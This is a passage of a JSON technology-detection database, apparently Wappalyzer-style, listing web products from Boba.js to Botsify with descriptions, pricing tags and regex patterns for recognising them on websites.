},\n  \"Boba.js\": {\n    \"cats\": [\n      59\n    ],\n    \"implies\": [\n      \"Google Analytics\"\n    ],\n    \"scriptSrc\": [\n      \"boba(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://boba.space150.com\"\n  },\n  \"Bobonus\": {\n    \"cats\": [\n      93,\n      6\n    ],\n    \"description\": \"Bobonus is an ecommerce platform for restaurants.\",\n    \"headers\": {\n      \"X-Powered-By\": \"https\\\\://bobonus\\\\.com\"\n    },\n    \"icon\": \"Bobonus.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bobonus.com\"\n  },\n  \"Bodygram\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Bodygram is a tool for obtaining body measurements, allowing businesses to tailor products and services to customers at scale.\",\n    \"icon\": \"Bodygram.svg\",\n    \"js\": {\n      \"Body2FitWidget\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bodygram\\\\.com/\"\n    ],\n    \"website\": \"https://bodygram.com\"\n  },\n  \"BoidCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"BoidCMS is a free and open-source flat file CMS for building simple websites and blogs in seconds, developed using PHP and uses JSON as a database.\",\n    \"headers\": {\n      \"X-Powered-By\": \"BoidCMS\"\n    },\n    \"icon\": \"BoidCMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://boidcms.github.io\"\n  },\n  \"Bokeh\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"Bokeh.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"js\": {\n      \"Bokeh\": \"\",\n      \"Bokeh.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"bokeh.*\\\\.js\"\n    ],\n    \"website\": \"https://bokeh.org\"\n  },\n  \"Bokun\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Bokun is a cloud-based booking management solution which enables small to large travel and tourism businesses manage reservations, products content, images, categorisation, pricing, inventory, and payments.\",\n    \"icon\": \"Bokun.svg\",\n    \"js\": {\n      \"BokunWidgetEmbedder\": \"\",\n      \"BokunWidgets\": \"\",\n      \"__BokunWidgetsLoader\": \"\",\n      \"__bokunWidgets\": \"\",\n      \"bokunBookingChannelUUID\": \"\",\n      \"bokunPolyfillReady\": \"\",\n      \"bokunSessionId\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bokun.io\"\n  },\n  \"Bold Brain\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Bold Brain help customers discover more products and add more to their cart with dynamic recommendations for Shopify and use advanced analytics.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"js\": {\n      \"BOLD.brain\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"brain-assets\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/bold-brain\"\n  },\n  \"Bold Bundles\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Bold Bundles Shopify app is designed to present recommended product widgets to cross-sell your products.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"js\": {\n      \"BOLD.bundles\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"bundles\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/bundles\"\n  },\n  \"Bold Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"BoldChat is a live chat platform.\",\n    \"icon\": \"BoldChat.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^https?://vmss\\\\.boldchat\\\\.com/aid/\\\\d{18}/bc\\\\.vms4/vms\\\\.js\"\n    ],\n    \"website\": \"https://www.boldchat.com/\"\n  },\n  \"Bold Commerce\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Bold Commerce is a software company that specialises in ecommerce websites and app development.\",\n    \"icon\": \"Bold.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"low\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.boldapps\\\\.net/\",\n      \"\\\\.boldcommerce\\\\.com\"\n    ],\n    \"website\": \"https://boldcommerce.com\"\n  },\n  \"Bold Custom Pricing\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Bold Custom Pricing is an app that makes it easy to create a tiered pricing structure for your customers.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"js\": {\n      \"BOLD.csp.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cp.\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/custom-pricing\"\n  },\n  \"Bold Motivator\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Bold Motivator motivate customers to spend more on your store with free shipping and gifts using a customisable banner that counts down how much more they have to buy.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"motivate\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/motivator\"\n  },\n  \"Bold Page Builder\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"Bold Page Builder is a plugin or a theme component that allows users to structure and design responsive pages.\",\n    \"icon\": \"Bold Page Builder.png\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/bold-page-builder/\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/bold-page-builder\"\n  },\n  \"Bold Product Options\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Product Options is a Shopify app which allows customers to customise products with unlimited custom options built by Bold.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"js\": {\n      \"BOLD.options.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"option\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/product-options\"\n  },\n  \"Bold Subscriptions\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Bold Subscriptions provides powerful, API-driven customisation options to build and scale a subscription service that fits your business.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"js\": {\n      \"BOLD.subscriptions\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sub\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/shopify-subscription-app\"\n  },\n  \"Bold Themes\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Bold Themes is a powerful and easy to use premium WordPress themes.\",\n    \"icon\": \"Bold Themes.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"js\": {\n      \"BoldThemesURI\": \"\",\n      \"boldthemes_theme_loaded\": \"^true$\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"website\": \"https://bold-themes.com/wordpress-themes-plugins/\"\n  },\n  \"Bold Upsell\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Bold Upsell allows the substitution or attachment of products to the customers' carts.\",\n    \"icon\": \"Bold.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Bold Commerce\"\n    ],\n    \"js\": {\n      \"BOLD.upsell\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"upsells\\\\.boldapps\\\\.net/\"\n    ],\n    \"website\": \"https://boldcommerce.com/upsell\"\n  },\n  \"BoldGrid\": {\n    \"cats\": [\n      1,\n      11,\n      87\n    ],\n    \"description\": \"BoldGrid is a free website builder for WordPress websites.\",\n    \"html\": [\n      \"<link rel=[\\\"']stylesheet[\\\"'] [^>]+boldgrid\",\n      \"<link rel=[\\\"']stylesheet[\\\"'] [^>]+post-and-page-builder\",\n      \"<link[^>]+s\\\\d+\\\\.boldgrid\\\\.com\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/post-and-page-builder\"\n    ],\n    \"website\": \"https://boldgrid.com\"\n  },\n  \"Bolt CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:bolt:bolt:*:*:*:*:*:*:*:*\",\n    \"description\": \"Bolt is an open-source content management system (CMS) focused on simplicity and flexibility for developers building and managing websites and web applications.\",\n    \"icon\": \"Bolt CMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Bolt\"\n    },\n    \"oss\": true,\n    \"website\": \"https://bolt.cm\"\n  },\n  \"Bolt Payments\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Bolt powers a checkout experience designed to convert shoppers.\",\n    \"dom\": [\n      \"bolt-checkout-button\"\n    ],\n    \"icon\": \"Bolt.svg\",\n    \"js\": {\n      \"BoltCheckout\": \"\",\n      \"BoltPopup\": \"\",\n      \"BoltTrack\": \"\",\n      \"bolt_callbacks\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"connect\\\\.bolt\\\\.com/\",\n      \"account\\\\.bolt\\\\.com/\"\n    ],\n    \"website\": \"https://www.bolt.com/\",\n    \"xhr\": [\n      \"connect\\\\.bolt\\\\.com\"\n    ]\n  },\n  \"Bonfire\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"bf_session\": \"\"\n    },\n    \"html\": [\n      \"Powered by <a[^>]+href=\\\"https?://(?:www\\\\.)?cibonfire\\\\.com[^>]*>Bonfire v([^<]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Bonfire.png\",\n    \"implies\": [\n      \"CodeIgniter\"\n    ],\n    \"website\": \"https://cibonfire.com\"\n  },\n  \"Bontii\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Bontii is a subscription module facilitating integration between webshop and payment solutions.\",\n    \"icon\": \"Bontii.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.bontii\\\\.dk/\"\n    ],\n    \"website\": \"https://bontii.dk\"\n  },\n  \"BookDinners\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"BookDinners is a restaurant table booking widget.\",\n    \"icon\": \"BookDinners.svg\",\n    \"scriptSrc\": [\n      \"bookdinners\\\\.nl/widget\\\\.js\"\n    ],\n    \"website\": \"https://www.bookdinners.nl\"\n  },\n  \"BookManager\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"BookManager is a software solution for booksellers and vendors.\",\n    \"icon\": \"BookManager.svg\",\n    \"js\": {\n      \"webpackJsonpbookmanager\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bookmanager\\\\.com/\"\n    ],\n    \"website\": \"https://bookmanager.com\"\n  },\n  \"BookStack\": {\n    \"cats\": [\n      4\n    ],\n    \"cookies\": {\n      \"bookstack_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:bookstackapp:bookstack:*:*:*:*:*:*:*:*\",\n    \"description\": \"BookStack is a simple, open-source, self-hosted, easy-to-use platform for organising and storing information.\",\n    \"icon\": \"BookStack.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Laravel\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.bookstackapp.com\"\n  },\n  \"BookThatApp\": {\n    \"cats\": [\n      100,\n      72\n    ],\n    \"description\": \"BookThatApp is a Shopify appointment booking, product rental and class booking app.\",\n    \"icon\": \"BookThatApp.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"BookThatApp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.bookthatapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.bookthatapp.com\"\n  },\n  \"BookVisit\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"BookVisit is an IT services and IT consulting, recreation, and hotel company located in Goteborg,Sweden.\",\n    \"icon\": \"BookVisit.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"online\\\\.bookvisit\\\\.com/\"\n    ],\n    \"website\": \"https://bookvisit.com\"\n  },\n  \"Bookafy\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Bookafy is a service that offers appointment scheduling and booking solutions for businesses and professionals.\",\n    \"icon\": \"Bookafy.svg\",\n    \"js\": {\n      \"bookafyPopup\": \"\",\n      \"openBookafyPopup\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bookafy.com\"\n  },\n  \"Bookatable\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Bookatable is a restaurant table booking widget.\",\n    \"icon\": \"Bookatable.svg\",\n    \"scriptSrc\": [\n      \"bda\\\\.bookatable\\\\.com/deploy/lbui\\\\.direct\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.bookatable.co.uk\"\n  },\n  \"Bookeo\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Bookeo is a cloud-based booking and reservation solution that caters to tour operators, travel agencies, schools, therapists, photographers and event organizers.\",\n    \"dom\": [\n      \"a[href*='//bookeo.com/'], iframe[src*='//bookeo.com/']\"\n    ],\n    \"icon\": \"Bookeo.svg\",\n    \"js\": {\n      \"bookeo_start\": \"\",\n      \"bookeo_startMobileLabel\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bookeo.com\"\n  },\n  \"Bookero\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Bookero is online booking system for you website or Facebook page.\",\n    \"icon\": \"Bookero.svg\",\n    \"js\": {\n      \"bookero_config\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.bookero\\\\.pl\"\n    ],\n    \"url\": [\n      \"\\\\.bookero\\\\.(?:org|pl)\"\n    ],\n    \"website\": \"https://www.bookero.org\"\n  },\n  \"Booking.com\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Booking.com is one of the largest ecommerce travel companies in the world. As an affiliate member, you can make up to 40% commission.\",\n    \"icon\": \"Booking.com.svg\",\n    \"scriptSrc\": [\n      \"aff\\\\.bstatic\\\\.com/\"\n    ],\n    \"website\": \"https://www.booking.com/affiliate-program/v2/selfmanaged.html\"\n  },\n  \"Booking.com widget\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Booking.com is one of the largest ecommerce travel companies in the world. As an affiliate member, you can make up to 40% commission.\",\n    \"dom\": [\n      \"form[action*='.booking.com/'][target='_blank'], img[src*='q-xx.bstatic.com/']\"\n    ],\n    \"icon\": \"Booking.com.svg\",\n    \"implies\": [\n      \"Booking.com\"\n    ],\n    \"scriptSrc\": [\n      \"q\\\\.bstatic\\\\.com/\"\n    ],\n    \"website\": \"https://www.booking.com/affiliate-program/v2/selfmanaged.html\"\n  },\n  \"Bookingkit\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Bookingkit is an online booking management solution. Bookingkit helps its users generate PDF invoices, manage day-to-day scheduling operations, and automatically sync availabilities in real time.\",\n    \"icon\": \"Bookingkit.svg\",\n    \"js\": {\n      \"BookingKitApp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bookingkit.net/\"\n  },\n  \"Bookly\": {\n    \"cats\": [\n      72,\n      87\n    ],\n    \"description\": \"Bookly is a WordPress scheduling plugin that allows you to accept online reservations on your website and automate your booking system.\",\n    \"icon\": \"bookly.svg\",\n    \"js\": {\n      \"BooklyL10n.daysShort\": \"\",\n      \"bookly\": \"\",\n      \"booklyCustomerProfile\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/bookly-responsive-appointment-booking-tool/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.booking-wp-plugin.com\"\n  },\n  \"Bookster\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Bookster is a property management software designed for holiday rental owners and managers.\",\n    \"icon\": \"Bookster.svg\",\n    \"js\": {\n      \"bookster\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.booksterhq\\\\.com/\"\n    ],\n    \"website\": \"https://www.booksterhq.com\"\n  },\n  \"Booksy\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Booksy is a booking system for people looking to schedule appointments for health and beauty services.\",\n    \"icon\": \"Booksy.svg\",\n    \"js\": {\n      \"booksy\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"booksy\\\\.com/widget/code\\\\.js\"\n    ],\n    \"website\": \"https://booksy.com/\"\n  },\n  \"Boomerang\": {\n    \"cats\": [\n      59,\n      78\n    ],\n    \"description\": \"boomerang is a JavaScript library that measures the page load time experienced by real users, commonly called RUM (Real User Measurement).\",\n    \"icon\": \"boomerang.svg\",\n    \"js\": {\n      \"BOOMR\": \"\",\n      \"BOOMR_lstart\": \"\",\n      \"BOOMR_mq\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://akamai.github.io/boomerang\"\n  },\n  \"Boost Commerce\": {\n    \"cats\": [\n      29,\n      100\n    ],\n    \"description\": \"Boost Commerce provides beautiful and advanced product filter and smart site search for Shopify stores to boost sales.\",\n    \"icon\": \"Boost Commerce.svg\",\n    \"js\": {\n      \"bcSfFilterConfig.api.filterUrl\": \"services\\\\.mybcapps\\\\.com/\",\n      \"boostPFSAppConfig.api.filterUrl\": \"services\\\\.mybcapps\\\\.com/\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://boostcommerce.net\"\n  },\n  \"Boost.ai\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Boost.ai is a conversational AI platform designed to increase self-service rates and elevate customer satisfaction levels through end-to-end solutions.\",\n    \"dom\": [\n      \"link[href*='.boost.ai']\"\n    ],\n    \"icon\": \"BoostAI.svg\",\n    \"js\": {\n      \"boost\": \"\",\n      \"boostChatPanel\": \"\",\n      \"boostInit\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.boost\\\\.ai/chatPanel/\"\n    ],\n    \"website\": \"https://boost.ai\"\n  },\n  \"Booster Page Speed Optimizer\": {\n    \"cats\": [\n      100,\n      92\n    ],\n    \"description\": \"The Page Speed Optimizer is a Shopify app built by BoosterApps.\",\n    \"icon\": \"BoosterApps.png\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"/assets/booster-page-speed-optimizer\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/page-speed-optimizer\"\n  },\n  \"Bootbox.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Bootbox.js is a small JavaScript library which allows you to create custom modal dialogs using Bootstrap modals, without having to worry about creating, managing, or removing any of the required DOM elements or JavaScript event handlers.\",\n    \"icon\": \"Bootbox.js.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?bootbox(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://bootboxjs.com/\"\n  },\n  \"Bootic\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Bootic is an all-in-one ecommerce platform from Chile.\",\n    \"icon\": \"Bootic.svg\",\n    \"js\": {\n      \"Bootic.assetsHost\": \"assets\\\\.btcdn\\\\.co\"\n    },\n    \"meta\": {\n      \"author\": \"^Bootic$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bootic.io\"\n  },\n  \"Bootstrap\": {\n    \"cats\": [\n      66\n    ],\n    \"cpe\": \"cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*\",\n    \"description\": \"Bootstrap is a free and open-source CSS framework directed at responsive, mobile-first front-end web development. It contains CSS and JavaScript-based design templates for typography, forms, buttons, navigation, and other interface components.\",\n    \"dom\": {\n      \"body[data-bs-theme]\": {\n        \"attributes\": {\n          \"data-bs-theme\": \"^(.*)$\"\n        }\n      },\n      \"style\": {\n        \"text\": \"--bs-(?:gutter|emphasis|space-x|tertiary-bg|secondary-color)\"\n      }\n    },\n    \"html\": [\n      \"<style>\\\\s+/\\\\*!\\\\s+\\\\* Bootstrap v(\\\\d\\\\.\\\\d\\\\.\\\\d)\\\\;version:\\\\1\",\n      \"<link[^>]* href=[^>]*?bootstrap(?:[^>]*?([0-9a-fA-F]{7,40}|[\\\\d]+(?:.[\\\\d]+(?:.[\\\\d]+)?)?)|)[^>-]*?(?:\\\\.min)?\\\\.css\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Bootstrap.svg\",\n    \"js\": {\n      \"bootstrap.Alert.VERSION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"jQuery.fn.tooltip.Constructor.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"bootstrap(?:[^>]*?([0-9a-fA-F]{7,40}|[\\\\d]+(?:.[\\\\d]+(?:.[\\\\d]+)?)?)|)[^>]*?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://getbootstrap.com\"\n  },\n  \"Bootstrap Icons\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Bootstrap Icons is a growing library of SVG icons that are designed by @mdo and maintained by the Bootstrap Team.\",\n    \"dom\": {\n      \"link[href*='bootstrap-icons']\": {\n        \"attributes\": {\n          \"href\": \"bootstrap-icons(?:@|/)?([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Bootstrap Icons.svg\",\n    \"oss\": true,\n    \"website\": \"https://icons.getbootstrap.com\"\n  },\n  \"Bootstrap Table\": {\n    \"cats\": [\n      59\n    ],\n    \"html\": [\n      \"<link[^>]+href=\\\"[^>]*bootstrap-table(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"Bootstrap Table.svg\",\n    \"implies\": [\n      \"Bootstrap\",\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"bootstrap-table(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://bootstrap-table.wenzhixin.net.cn/\"\n  },\n  \"BootstrapCDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"BootstrapCDN is a powerful and reliable Content Delivery Network (CDN) that delivers static resources, including CSS, JavaScript, and font files, for the widely-used Bootstrap framework. By leveraging multiple server locations worldwide, BootstrapCDN accelerates website loading times, ensuring a smooth and visually appealing user experience. Additionally, it ensures website compatibility with various devices and browsers. The service reduces bandwidth usage and server load, improving web performance for developers and end-users alike.\",\n    \"icon\": \"BootstrapCDN.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"bootstrapcdn\\\\.com\\\\/bootstrap\\\\/((?:\\\\d+\\\\.)+\\\\d+)?(?:\\\\/js\\\\/)?bootstrap(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.bootstrapcdn.com/\"\n  },\n  \"Booxi\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Booxi is a cloud-based appointment management platform for small to midsize businesses.\",\n    \"icon\": \"Booxi.svg\",\n    \"js\": {\n      \"booxi\": \"\",\n      \"booxiController\": \"\",\n      \"bxe_core\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/bxe_core\\\\.js\"\n    ],\n    \"website\": \"https://www.booxi.com\"\n  },\n  \"Borderfree\": {\n    \"cats\": [\n      106\n    ],\n    \"cookies\": {\n      \"bfx.apiKey:\": \"^[\\\\w\\\\d-]+$\",\n      \"bfx.country:\": \"^\\\\w+$\",\n      \"bfx.language\": \"^\\\\w+$\",\n      \"bfx.logLevel\": \"^\\\\w+$\"\n    },\n    \"description\": \"Borderfree is an cross-border ecommerce solutions provider.\",\n    \"icon\": \"Borderfree.svg\",\n    \"js\": {\n      \"bfx._apiKey\": \"\",\n      \"bfx._brand\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"global\\\\.prd\\\\.borderfree\\\\.com\",\n      \"wm\\\\.prd\\\\.borderfree\\\\.com\",\n      \"bfx-objects\\\\.prd\\\\.borderfree\\\\.com\"\n    ],\n    \"website\": \"https://www.borderfree.com\"\n  },\n  \"Borlabs Cookie\": {\n    \"cats\": [\n      67,\n      87\n    ],\n    \"description\": \"Borlabs Cookie is a GDPR cookie consent plugin for WordPress.\",\n    \"dom\": [\n      \"#BorlabsCookieBox\"\n    ],\n    \"icon\": \"Borlabs Cookie.svg\",\n    \"js\": {\n      \"borlabsCookieConfig\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://borlabs.io/borlabs-cookie/\"\n  },\n  \"BotPenguin\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"BotPenguin is an AI chatbot creator for websites, WhatsApp, Facebook, and Telegram.\",\n    \"icon\": \"BotPenguin.svg\",\n    \"js\": {\n      \"BotPenguin\": \"\",\n      \"BotPenguinWindow\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.botpenguin\\\\.com/\"\n    ],\n    \"website\": \"https://botpenguin.com\"\n  },\n  \"BotUp\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"BotUp is a chatbot software that helps build your chatbot without coding.\",\n    \"icon\": \"BotUp.svg\",\n    \"js\": {\n      \"_Botup\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://botup.com\"\n  },\n  \"Botble CMS\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"botble_session\": \"\"\n    },\n    \"headers\": {\n      \"CMS-Version\": \"^(.+)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"icon\": \"BotbleCMS.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"website\": \"https://botble.com\"\n  },\n  \"Botmind\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Botmind is a software that automates responses to frequently asked questions.\",\n    \"icon\": \"Botmind.svg\",\n    \"js\": {\n      \"botmindWidget\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.botmind\\\\.io/\"\n    ],\n    \"website\": \"https://www.botmind.io\"\n  },\n  \"Botpress\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Botpress is a conversational AI platform that empowers individuals and teams of all sizes to design, build, and deploy AI-powered chatbots for various applications.\",\n    \"icon\": \"Botpress.svg\",\n    \"js\": {\n      \"botpressWebChat.init\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://botpress.com\"\n  },\n  \"Botsify\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Botsify is a platform that enables businesses to create chatbots without requiring any coding knowledge.\",\n    \"icon\": \"Botsify.svg\",\n    \"js\": {\n      \"botsify.load\": \"\",\n      \"setbotsifyIcon\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": 